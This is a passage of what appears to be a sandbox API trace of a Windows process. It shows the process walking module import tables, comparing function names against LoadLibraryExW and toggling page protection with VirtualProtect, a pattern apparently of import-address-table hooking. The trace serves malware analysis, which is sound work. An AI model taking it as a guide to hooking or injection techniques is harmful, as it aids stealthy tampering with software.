ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.529] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef4ab0000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x7fef4ab0000, AllocationBase=0x7fef4ab0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.530] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.530] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x242c0f0 [0073.530] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0073.530] lstrcmpiA (lpString1="GetProcAddress", lpString2="LoadLibraryExW") returned -1 [0073.530] lstrcmpiA (lpString1="VerSetConditionMask", lpString2="LoadLibraryExW") returned 1 [0073.530] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="LoadLibraryExW") returned -1 [0073.530] lstrcmpiA (lpString1="VerifyVersionInfoW", lpString2="LoadLibraryExW") returned 1 [0073.530] lstrcmpiA (lpString1="LoadLibraryExA", lpString2="LoadLibraryExW") returned -1 [0073.530] lstrcmpiA (lpString1="ReadConsoleW", lpString2="LoadLibraryExW") returned 1 [0073.530] lstrcmpiA (lpString1="VirtualProtect", lpString2="LoadLibraryExW") returned 1 [0073.530] lstrcmpiA (lpString1="GetProcessId", lpString2="LoadLibraryExW") returned -1 [0073.530] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0073.530] lstrcmpiA (lpString1="GetCommandLineW", lpString2="LoadLibraryExW") returned -1 [0073.530] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0073.530] lstrcmpiA (lpString1="GetLastError", lpString2="LoadLibraryExW") returned -1 [0073.530] lstrcmpiA (lpString1="VirtualQuery", lpString2="LoadLibraryExW") returned 1 [0073.530] lstrcmpiA (lpString1="GetEnvironmentVariableW", lpString2="LoadLibraryExW") returned -1 [0073.530] lstrcmpiA (lpString1="GetNativeSystemInfo", lpString2="LoadLibraryExW") returned -1 [0073.530] lstrcmpiA (lpString1="GetTempPathW", lpString2="LoadLibraryExW") returned -1 [0073.530] lstrcmpiA (lpString1="CreateDirectoryW", lpString2="LoadLibraryExW") returned -1 [0073.530] lstrcmpiA (lpString1="GetUserDefaultLangID", lpString2="LoadLibraryExW") returned -1 [0073.530] lstrcmpiA (lpString1="SetEnvironmentVariableW", lpString2="LoadLibraryExW") returned 1 [0073.530] lstrcmpiA (lpString1="GetFileAttributesW", lpString2="LoadLibraryExW") returned -1 [0073.530] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="LoadLibraryExW") returned 1 [0073.530] lstrcmpiA (lpString1="OutputDebugStringW", lpString2="LoadLibraryExW") returned 1 [0073.530] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="LoadLibraryExW") returned 1 [0073.530] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="LoadLibraryExW") returned -1 [0073.530] lstrcmpiA (lpString1="GetComputerNameExW", lpString2="LoadLibraryExW") returned -1 [0073.530] lstrcmpiA (lpString1="LoadLibraryW", lpString2="LoadLibraryExW") returned 1 [0073.530] lstrcmpiA (lpString1="FreeLibrary", lpString2="LoadLibraryExW") returned -1 [0073.530] lstrcmpiA (lpString1="WriteProcessMemory", lpString2="LoadLibraryExW") returned 1 [0073.530] lstrcmpiA (lpString1="ReadProcessMemory", lpString2="LoadLibraryExW") returned 1 [0073.530] lstrcmpiA (lpString1="CreateFileW", lpString2="LoadLibraryExW") returned -1 [0073.530] lstrcmpiA (lpString1="CloseHandle", lpString2="LoadLibraryExW") returned -1 [0073.530] lstrcmpiA (lpString1="VirtualProtectEx", lpString2="LoadLibraryExW") returned 1 [0073.530] lstrcmpiA (lpString1="SetLastError", lpString2="LoadLibraryExW") returned 1 [0073.530] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="LoadLibraryExW") returned 1 [0073.530] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="LoadLibraryExW") returned -1 [0073.531] lstrcmpiA (lpString1="Sleep", lpString2="LoadLibraryExW") returned 1 [0073.531] lstrcmpiA (lpString1="RaiseException", lpString2="LoadLibraryExW") returned 1 [0073.531] lstrcmpiA (lpString1="IsDebuggerPresent", lpString2="LoadLibraryExW") returned -1 [0073.531] lstrcmpiA (lpString1="QueryPerformanceFrequency", lpString2="LoadLibraryExW") returned 1 [0073.531] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0073.531] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0073.531] lstrcmpiA (lpString1="HeapCreate", lpString2="LoadLibraryExW") returned -1 [0073.531] lstrcmpiA (lpString1="HeapDestroy", lpString2="LoadLibraryExW") returned -1 [0073.531] lstrcmpiA (lpString1="WriteFile", lpString2="LoadLibraryExW") returned 1 [0073.531] lstrcmpiA (lpString1="DeleteFileW", lpString2="LoadLibraryExW") returned -1 [0073.531] lstrcmpiA (lpString1="GetLocalTime", lpString2="LoadLibraryExW") returned -1 [0073.531] lstrcmpiA (lpString1="GetCurrentDirectoryW", lpString2="LoadLibraryExW") returned -1 [0073.531] lstrcmpiA (lpString1="FormatMessageA", lpString2="LoadLibraryExW") returned -1 [0073.531] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0073.531] lstrcmpiA (lpString1="ReleaseSRWLockExclusive", lpString2="LoadLibraryExW") returned 1 [0073.531] lstrcmpiA (lpString1="AcquireSRWLockExclusive", lpString2="LoadLibraryExW") returned -1 [0073.531] lstrcmpiA (lpString1="GetModuleHandleExW", lpString2="LoadLibraryExW") returned -1 [0073.531] lstrcmpiA (lpString1="HeapFree", lpString2="LoadLibraryExW") returned -1 [0073.531] lstrcmpiA (lpString1="HeapSize", lpString2="LoadLibraryExW") returned -1 [0073.531] lstrcmpiA (lpString1="HeapReAlloc", lpString2="LoadLibraryExW") returned -1 [0073.531] lstrcmpiA (lpString1="HeapAlloc", lpString2="LoadLibraryExW") returned -1 [0073.531] lstrcmpiA (lpString1="RtlCaptureStackBackTrace", lpString2="LoadLibraryExW") returned 1 [0073.531] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0073.531] lstrcmpiA (lpString1="CreateEventW", lpString2="LoadLibraryExW") returned -1 [0073.531] lstrcmpiA (lpString1="SetEvent", lpString2="LoadLibraryExW") returned 1 [0073.531] lstrcmpiA (lpString1="ResetEvent", lpString2="LoadLibraryExW") returned 1 [0073.531] lstrcmpiA (lpString1="GetSystemInfo", lpString2="LoadLibraryExW") returned -1 [0073.531] lstrcmpiA (lpString1="TlsSetValue", lpString2="LoadLibraryExW") returned 1 [0073.531] lstrcmpiA (lpString1="TlsAlloc", lpString2="LoadLibraryExW") returned 1 [0073.531] lstrcmpiA (lpString1="TlsGetValue", lpString2="LoadLibraryExW") returned 1 [0073.531] lstrcmpiA (lpString1="TlsFree", lpString2="LoadLibraryExW") returned 1 [0073.531] lstrcmpiA (lpString1="TerminateProcess", lpString2="LoadLibraryExW") returned 1 [0073.531] lstrcmpiA (lpString1="OpenProcess", lpString2="LoadLibraryExW") returned 1 [0073.531] lstrcmpiA (lpString1="ReadFile", lpString2="LoadLibraryExW") returned 1 [0073.531] lstrcmpiA (lpString1="GetFileSizeEx", lpString2="LoadLibraryExW") returned -1 [0073.531] lstrcmpiA (lpString1="SetEndOfFile", lpString2="LoadLibraryExW") returned 1 [0073.531] lstrcmpiA (lpString1="SetFilePointerEx", lpString2="LoadLibraryExW") returned 1 [0073.531] lstrcmpiA (lpString1="FlushFileBuffers", lpString2="LoadLibraryExW") returned -1 [0073.531] lstrcmpiA (lpString1="FindClose", lpString2="LoadLibraryExW") returned -1 [0073.531] lstrcmpiA (lpString1="RtlAddFunctionTable", lpString2="LoadLibraryExW") returned 1 [0073.531] lstrcmpiA (lpString1="CreateRemoteThread", lpString2="LoadLibraryExW") returned -1 [0073.532] lstrcmpiA (lpString1="RtlDeleteFunctionTable", lpString2="LoadLibraryExW") returned 1 [0073.532] lstrcmpiA (lpString1="GetStdHandle", lpString2="LoadLibraryExW") returned -1 [0073.532] lstrcmpiA (lpString1="GetVersion", lpString2="LoadLibraryExW") returned -1 [0073.532] lstrcmpiA (lpString1="CreateProcessW", lpString2="LoadLibraryExW") returned -1 [0073.532] lstrcmpiA (lpString1="SleepEx", lpString2="LoadLibraryExW") returned 1 [0073.532] lstrcmpiA (lpString1="GetFileType", lpString2="LoadLibraryExW") returned -1 [0073.532] lstrcmpiA (lpString1="UnlockFileEx", lpString2="LoadLibraryExW") returned 1 [0073.532] lstrcmpiA (lpString1="LockFileEx", lpString2="LoadLibraryExW") returned 1 [0073.532] lstrcmpiA (lpString1="SetNamedPipeHandleState", lpString2="LoadLibraryExW") returned 1 [0073.532] lstrcmpiA (lpString1="CreateNamedPipeW", lpString2="LoadLibraryExW") returned -1 [0073.532] lstrcmpiA (lpString1="TransactNamedPipe", lpString2="LoadLibraryExW") returned 1 [0073.532] lstrcmpiA (lpString1="WaitNamedPipeW", lpString2="LoadLibraryExW") returned 1 [0073.532] lstrcmpiA (lpString1="InitializeCriticalSection", lpString2="LoadLibraryExW") returned -1 [0073.532] lstrcmpiA (lpString1="GetUserDefaultLCID", lpString2="LoadLibraryExW") returned -1 [0073.532] lstrcmpiA (lpString1="GetStringTypeW", lpString2="LoadLibraryExW") returned -1 [0073.532] lstrcmpiA (lpString1="EnterCriticalSection", lpString2="LoadLibraryExW") returned -1 [0073.532] lstrcmpiA (lpString1="LeaveCriticalSection", lpString2="LoadLibraryExW") returned -1 [0073.532] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="LoadLibraryExW") returned -1 [0073.532] lstrcmpiA (lpString1="EncodePointer", lpString2="LoadLibraryExW") returned -1 [0073.532] lstrcmpiA (lpString1="DecodePointer", lpString2="LoadLibraryExW") returned -1 [0073.532] lstrcmpiA (lpString1="InitializeCriticalSectionAndSpinCount", lpString2="LoadLibraryExW") returned -1 [0073.532] lstrcmpiA (lpString1="LCMapStringW", lpString2="LoadLibraryExW") returned -1 [0073.532] lstrcmpiA (lpString1="GetLocaleInfoW", lpString2="LoadLibraryExW") returned -1 [0073.532] lstrcmpiA (lpString1="GetCPInfo", lpString2="LoadLibraryExW") returned -1 [0073.532] lstrcmpiA (lpString1="WaitForSingleObjectEx", lpString2="LoadLibraryExW") returned 1 [0073.532] lstrcmpiA (lpString1="RtlCaptureContext", lpString2="LoadLibraryExW") returned 1 [0073.532] lstrcmpiA (lpString1="RtlLookupFunctionEntry", lpString2="LoadLibraryExW") returned 1 [0073.532] lstrcmpiA (lpString1="RtlVirtualUnwind", lpString2="LoadLibraryExW") returned 1 [0073.532] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0073.532] lstrcmpiA (lpString1="IsProcessorFeaturePresent", lpString2="LoadLibraryExW") returned -1 [0073.532] lstrcmpiA (lpString1="GetStartupInfoW", lpString2="LoadLibraryExW") returned -1 [0073.532] lstrcmpiA (lpString1="InitializeSListHead", lpString2="LoadLibraryExW") returned -1 [0073.532] lstrcmpiA (lpString1="RtlPcToFileHeader", lpString2="LoadLibraryExW") returned 1 [0073.532] lstrcmpiA (lpString1="RtlUnwindEx", lpString2="LoadLibraryExW") returned 1 [0073.532] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="LoadLibraryExW") returned 0 [0073.532] VirtualProtect (in: lpAddress=0x7fef4b0e370, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x23ec40 | out: lpflOldProtect=0x23ec40*=0x2) returned 1 [0073.533] VirtualProtect (in: lpAddress=0x7fef4b0e370, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x23ec40 | out: lpflOldProtect=0x23ec40*=0x40) returned 1 [0073.533] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefc270000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x7fefc270000, AllocationBase=0x7fefc270000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.533] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.533] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x242c160 [0073.534] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0073.534] lstrcmpiA (lpString1="SetLastError", lpString2="LoadLibraryExW") returned 1 [0073.534] lstrcmpiA (lpString1="GetFileTime", lpString2="LoadLibraryExW") returned -1 [0073.534] lstrcmpiA (lpString1="SetFileTime", lpString2="LoadLibraryExW") returned 1 [0073.534] lstrcmpiA (lpString1="GetFullPathNameA", lpString2="LoadLibraryExW") returned -1 [0073.534] lstrcmpiA (lpString1="lstrcmpiA", lpString2="LoadLibraryExW") returned 1 [0073.535] lstrcmpiA (lpString1="_lcreat", lpString2="LoadLibraryExW") returned -1 [0073.535] lstrcmpiA (lpString1="TlsGetValue", lpString2="LoadLibraryExW") returned 1 [0073.535] lstrcmpiA (lpString1="_lclose", lpString2="LoadLibraryExW") returned -1 [0073.535] lstrcmpiA (lpString1="LocalAlloc", lpString2="LoadLibraryExW") returned 1 [0073.535] lstrcmpiA (lpString1="LocalFree", lpString2="LoadLibraryExW") returned 1 [0073.535] lstrcmpiA (lpString1="_lopen", lpString2="LoadLibraryExW") returned -1 [0073.535] lstrcmpiA (lpString1="_lread", lpString2="LoadLibraryExW") returned -1 [0073.535] lstrcmpiA (lpString1="_lwrite", lpString2="LoadLibraryExW") returned -1 [0073.535] lstrcmpiA (lpString1="GetLastError", lpString2="LoadLibraryExW") returned -1 [0073.535] lstrcmpiA (lpString1="_llseek", lpString2="LoadLibraryExW") returned -1 [0073.535] lstrcmpiA (lpString1="GetFileSize", lpString2="LoadLibraryExW") returned -1 [0073.535] lstrcmpiA (lpString1="DeleteFileA", lpString2="LoadLibraryExW") returned -1 [0073.535] lstrcmpiA (lpString1="TlsSetValue", lpString2="LoadLibraryExW") returned 1 [0073.535] lstrcmpiA (lpString1="LoadLibraryW", lpString2="LoadLibraryExW") returned 1 [0073.535] lstrcmpiA (lpString1="GetProcAddress", lpString2="LoadLibraryExW") returned -1 [0073.535] lstrcmpiA (lpString1="FreeLibrary", lpString2="LoadLibraryExW") returned -1 [0073.535] lstrcmpiA (lpString1="CloseHandle", lpString2="LoadLibraryExW") returned -1 [0073.535] lstrcmpiA (lpString1="SetFilePointer", lpString2="LoadLibraryExW") returned 1 [0073.535] lstrcmpiA (lpString1="ReadFile", lpString2="LoadLibraryExW") returned 1 [0073.535] lstrcmpiA (lpString1="GetFileSizeEx", lpString2="LoadLibraryExW") returned -1 [0073.535] lstrcmpiA (lpString1="CreateFileW", lpString2="LoadLibraryExW") returned -1 [0073.535] lstrcmpiA (lpString1="SetErrorMode", lpString2="LoadLibraryExW") returned 1 [0073.535] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="LoadLibraryExW") returned 0 [0073.535] VirtualProtect (in: lpAddress=0x7fefc2760d8, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x23ec40 | out: lpflOldProtect=0x23ec40*=0x2) returned 1 [0073.535] VirtualProtect (in: lpAddress=0x7fefc2760d8, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x23ec40 | out: lpflOldProtect=0x23ec40*=0x40) returned 1 [0073.536] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd670000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x7fefd670000, AllocationBase=0x7fefd670000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.536] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.536] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2040cf0 [0073.536] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="KERNEL32.DLL") returned 1 [0073.536] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0073.536] lstrcmpiA (lpString1="API-MS-Win-Core-Console-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.536] lstrcmpiA (lpString1="API-MS-Win-Core-DateTime-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.536] lstrcmpiA (lpString1="API-MS-Win-Core-Debug-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.536] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.536] lstrcmpiA (lpString1="API-MS-Win-Core-Fibers-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.536] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.536] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.536] lstrcmpiA (lpString1="API-MS-Win-Core-Heap-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.536] lstrcmpiA (lpString1="API-MS-Win-Core-Localization-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.536] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.536] lstrcmpiA (lpString1="API-MS-Win-Core-Memory-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.536] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.536] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.536] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.536] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.536] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.536] lstrcmpiA (lpString1="API-MS-Win-Core-String-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.536] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.536] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.536] lstrcmpiA (lpString1="API-MS-Win-Core-Util-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.536] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2040cf0 | out: hHeap=0x2030000) returned 1 [0073.536] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd710000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x7fefd710000, AllocationBase=0x7fefd710000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.536] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.536] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2040cf0 [0073.536] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0073.536] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0073.536] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="KERNEL32.DLL") returned 1 [0073.536] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.536] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.536] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.536] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.536] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.537] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.537] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.537] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.537] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0073.537] lstrcmpiA (lpString1="GetDiskFreeSpaceExW", lpString2="LoadLibraryExW") returned -1 [0073.537] lstrcmpiA (lpString1="ReadFile", lpString2="LoadLibraryExW") returned 1 [0073.537] lstrcmpiA (lpString1="GetOverlappedResult", lpString2="LoadLibraryExW") returned -1 [0073.537] lstrcmpiA (lpString1="VirtualAllocEx", lpString2="LoadLibraryExW") returned 1 [0073.537] lstrcmpiA (lpString1="VirtualFree", lpString2="LoadLibraryExW") returned 1 [0073.537] lstrcmpiA (lpString1="OpenProcess", lpString2="LoadLibraryExW") returned 1 [0073.537] lstrcmpiA (lpString1="GetActiveProcessorCount", lpString2="LoadLibraryExW") returned -1 [0073.537] lstrcmpiA (lpString1="GlobalMemoryStatusEx", lpString2="LoadLibraryExW") returned -1 [0073.537] lstrcmpiA (lpString1="GetSystemInfo", lpString2="LoadLibraryExW") returned -1 [0073.537] lstrcmpiA (lpString1="GetDriveTypeW", lpString2="LoadLibraryExW") returned -1 [0073.537] lstrcmpiA (lpString1="GetLogicalDriveStringsW", lpString2="LoadLibraryExW") returned -1 [0073.537] lstrcmpiA (lpString1="GetSystemWindowsDirectoryW", lpString2="LoadLibraryExW") returned -1 [0073.537] lstrcmpiA (lpString1="DeviceIoControl", lpString2="LoadLibraryExW") returned -1 [0073.537] lstrcmpiA (lpString1="GetVolumeInformationW", lpString2="LoadLibraryExW") returned -1 [0073.537] lstrcmpiA (lpString1="GetComputerNameW", lpString2="LoadLibraryExW") returned -1 [0073.537] lstrcmpiA (lpString1="HeapSize", lpString2="LoadLibraryExW") returned -1 [0073.537] lstrcmpiA (lpString1="ReleaseMutex", lpString2="LoadLibraryExW") returned 1 [0073.537] lstrcmpiA (lpString1="ExpandEnvironmentStringsA", lpString2="LoadLibraryExW") returned -1 [0073.537] lstrcmpiA (lpString1="RegKrnInitialize", lpString2="LoadLibraryExW") returned 1 [0073.537] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="LoadLibraryExW") returned -1 [0073.537] lstrcmpiA (lpString1="LocalUnlock", lpString2="LoadLibraryExW") returned 1 [0073.537] lstrcmpiA (lpString1="LocalLock", lpString2="LoadLibraryExW") returned 1 [0073.537] lstrcmpiA (lpString1="GetComputerNameA", lpString2="LoadLibraryExW") returned -1 [0073.537] lstrcmpiA (lpString1="EncodePointer", lpString2="LoadLibraryExW") returned -1 [0073.537] lstrcmpiA (lpString1="CreateMutexW", lpString2="LoadLibraryExW") returned -1 [0073.537] lstrcmpiA (lpString1="SetEvent", lpString2="LoadLibraryExW") returned 1 [0073.537] lstrcmpiA (lpString1="ReadProcessMemory", lpString2="LoadLibraryExW") returned 1 [0073.537] lstrcmpiA (lpString1="FreeLibraryAndExitThread", lpString2="LoadLibraryExW") returned -1 [0073.537] lstrcmpiA (lpString1="DecodePointer", lpString2="LoadLibraryExW") returned -1 [0073.537] lstrcmpiA (lpString1="DuplicateHandle", lpString2="LoadLibraryExW") returned -1 [0073.537] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="LoadLibraryExW") returned 0 [0073.537] VirtualProtect (in: lpAddress=0x7fefd786e90, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x23ec40 | out: lpflOldProtect=0x23ec40*=0x2) returned 1 [0073.538] VirtualProtect (in: lpAddress=0x7fefd786e90, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x23ec40 | out: lpflOldProtect=0x23ec40*=0x40) returned 1 [0073.538] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7feff190000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x7feff190000, AllocationBase=0x7feff190000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.538] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.538] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2040d60 [0073.538] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0073.538] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.538] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.538] lstrcmpiA (lpString1="API-MS-Win-Core-DelayLoad-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.538] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0073.538] lstrcmpiA (lpString1="API-MS-Win-Core-Debug-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.538] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.538] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.538] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.538] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.538] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.538] lstrcmpiA (lpString1="API-MS-Win-Core-String-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.538] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.538] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.538] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="KERNEL32.DLL") returned 1 [0073.538] lstrcmpiA (lpString1="CRYPTBASE.dll", lpString2="KERNEL32.DLL") returned -1 [0073.538] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2040d60 | out: hHeap=0x2030000) returned 1 [0073.538] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefe900000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x7fefe900000, AllocationBase=0x7fefe900000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.538] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.538] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2040d60 [0073.538] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0073.539] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.539] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.539] lstrcmpiA 